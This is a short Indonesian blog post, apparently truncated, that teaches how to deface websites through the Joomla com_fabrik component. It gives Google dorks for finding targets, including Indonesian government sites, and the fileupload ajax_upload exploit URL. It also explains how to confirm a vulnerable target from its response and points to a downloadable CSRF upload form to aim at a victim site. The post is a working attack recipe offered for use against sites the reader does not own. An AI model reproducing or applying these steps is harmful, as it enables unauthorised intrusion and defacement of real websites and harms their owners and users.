Assalamualaikum wr.wb Oke gan disini gua akan praktikan Cara Deface Com Fabrik, ok simak baik baik! Dork: inurl:/com_fabrik site:go.id inurl:index.php?option=com_fabrik site: inurl:index.php/component/fabrik/ site: inurl:index.php?option=com_fabrik&view= site: inurl:importcsv.php site: inurl:viewTable?cid= site:com Stelah dapat target, masukin exploitnya /index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload Vuln? Ada tulisan {"filepath":null,"uri":null} Klo dah ktmu gitu kta pke csrfnya, bagi yang belum punya CSRFnya, kalian bisa memakai punya saya. download csrfnya dulu disini https://drive.google.com/file/d/1lbN2uKJjEtpg4nN5unf7IkP1sSeFOxnK/view?usp=drivesdk jika sudah di download, ubah perintah htmlnya di apk dcoder atau diapk coding yang kalian pakai saat ini, seperti ini. Tempel web target dibelakang teks action="WEB TARGET Trus ...
Komentar
Posting Komentar